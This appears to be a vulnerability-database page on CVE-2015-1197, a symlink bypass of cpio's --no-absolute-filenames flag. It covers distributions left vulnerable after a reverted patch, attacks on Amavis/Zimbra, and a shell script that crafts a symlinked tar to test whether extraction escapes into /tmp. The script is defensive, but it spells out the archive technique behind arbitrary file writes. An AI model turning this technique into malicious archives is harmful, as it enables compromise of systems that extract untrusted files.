Attacker Value
(0 users assessed)
(0 users assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: February 19, 2015
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


cpio 2.11, when using the —no-absolute-filenames option, allows local users to write to arbitrary files via a symlink attack on a file in an archive.

Add Assessment

No one has assessed this topic. Be the first to add your voice to the community.

CVSS V3 Severity and Metrics
Base Score:
Impact Score:
Exploitability Score:
Attack Vector (AV):
Attack Complexity (AC):
Privileges Required (PR):
User Interaction (UI):
Scope (S):
Confidentiality (C):
Integrity (I):
Availability (A):

General Information


  • gnu


  • cpio 2.11
Technical Analysis


cpio is a GNU/Linux utility designed to extract a variety of archive formats, including .cpio, .tar, and .rpm. By default, an archive extracted by cpio can have an absolute path embedded, which means that when the archive is extracted it can write any file to anywhere on the filesystem (by design). Since that is typically undesirable behavior, the cpio developers added the flag --no-absolute-filenames in ~2005, which purportedly prevents files from being written outside of the current directory. This leads to a “write any file anywhere” exploit if cpio is used on an untrusted archive, which is an unlikely scenario.

CVE-2015-1197 is a bypass for --no-absolute-filenames that allows a specially crafted archive to write files anywhere on the filesystem when the archive extracted – even if the user passes in --no-absolute-filenames! That’s bad news if you’re, say, an anti-malware solution like Amavis and you’re extracting potentially malicious files.

The cpio project fixed this vulnerability on November 3, 2019, and released cpio-2.13 on November 6, 2019. This patch was so helpful that Ubuntu 18.04 backported it, meaning that Ubuntu 18.04 runs an older version of cpio but is still fixed!

Normally, this would be the end of the story; however, it turns out that some Operating System stuff depends on that dangerous behavior! On November 18, 2019, a Linux maintainer recommended temporarily reverting the fix while he worked on a solution, but then was never heard from again (on that thread). It’s unclear why they chose to revert the security fix rather than removing the --no-absolute-filenames flag.

So per that developer’s recommendation, both Fedora and Debian removed the patch, rendering their OSes vulnerable to CVE-2015-1197 for the foreseeable future. And that brings us to now.


The impact of CVE-2015-1197 depends heavily on its usage. In most cases, from searching Github, cpio is used for extracting bootloaders, firmware, and other low-level stuff – files that are typically trustworthy.

However, this is very dangerous for any software that extracts untrusted archives. The best example is Amavis, which is an anti-malware service used by Zimbra Collaboration Suite. When Amavis attempts to extract an archive with cpio, the archive can (ironically) write to anywhere on the Amavis system, compromising the host. We’ve seen that used by attackers in the wild.

We did a full write-up of how it affects Zimbra under CVE-2022-41352.

Affected Operating Systems

We tested every Linux-based OS that we had handy, particularly the ones that Zimbra supports, with the following results:

  • Source Code directly from GNU – *Not* vulnerable (cpio 2.13)
  • Fedora 35 – Vulnerable (cpio 2.13)
  • Fedora 36 – Vulnerable (cpio 2.13)
  • Oracle Linux 9 – Vulnerable (cpio 2.13.90)
  • Oracle Linux 8 – Vulnerable (cpio 2.12)
  • Oracle Linux 7.9 – Vulnerable (cpio 2.11)
  • Rocky Linux 8 – Vulnerable (cpio 2.12)
  • CentOS 8 – Vulnerable (cpio 2.12)
  • RHEL8 – Vulnerable (cpio 2.12)
  • Ubuntu 18.04 – *Not* vulnerable (cpio 2.12) – due to backported patch
  • Ubuntu 20.04 – Vulnerable (cpio 2.13)
  • Ubuntu 22.04 – Vulnerable (cpio 2.13)


We wrote a shell script to test for this issue:

set -euo pipefail

CPIO_FLAGS=${CPIO_FLAGS:---quiet -d --no-absolute-filenames --no-preserve-owner}

# Create a directory to work in
DIR=$(mktemp -d)
pushd $DIR>/dev/null

# Create a symlink to /tmp and a test file therein
TEST_FILE=$(head /dev/urandom | md5sum | cut -c1-12).test
ln -s /tmp ./nottmp
echo "This is a test file" > nottmp/$TEST_FILE

# Tar them up
tar -cf test.tar nottmp nottmp/$TEST_FILE

# Delete the evidence
rm -f nottmp/$TEST_FILE nottmp

# Extract it w/ cpio
$CPIO --version | head -n1
CMD="$CPIO -i $CPIO_FLAGS < test.tar"
echo "$CMD"
eval $CMD

if [ -f "/tmp/$TEST_FILE" ]; then
  echo "Vulnerable: /tmp/$TEST_FILE"
  echo "Not vulnerable!"

popd > /dev/null
rm -rf $DIR

Simply run it to test the system version (it leaves the file in /tmp to demonstrate):

$ ./ 
cpio (GNU cpio) 2.13

cpio -i --quiet -d --no-absolute-filenames --no-preserve-owner < test.tar
Vulnerable: /tmp/ab6325ac1fd6.test

You can also test a custom cpio executable using the CPIO environmental variable:

$ CPIO=~/Downloads/cpio-2.13/src/cpio ./
cpio (GNU cpio) 2.13

/home/ron/Downloads/cpio-2.13/src/cpio -i --quiet -d --no-absolute-filenames --no-preserve-owner < test.tar
/home/ron/Downloads/cpio-2.13/src/cpio: Removing leading `/' from hard link targets
/home/ron/Downloads/cpio-2.13/src/cpio: cannot make directory `nottmp': No such file or directory
/home/ron/Downloads/cpio-2.13/src/cpio: nottmp/abc5c43a2d6e.test: Cannot open: No such file or directory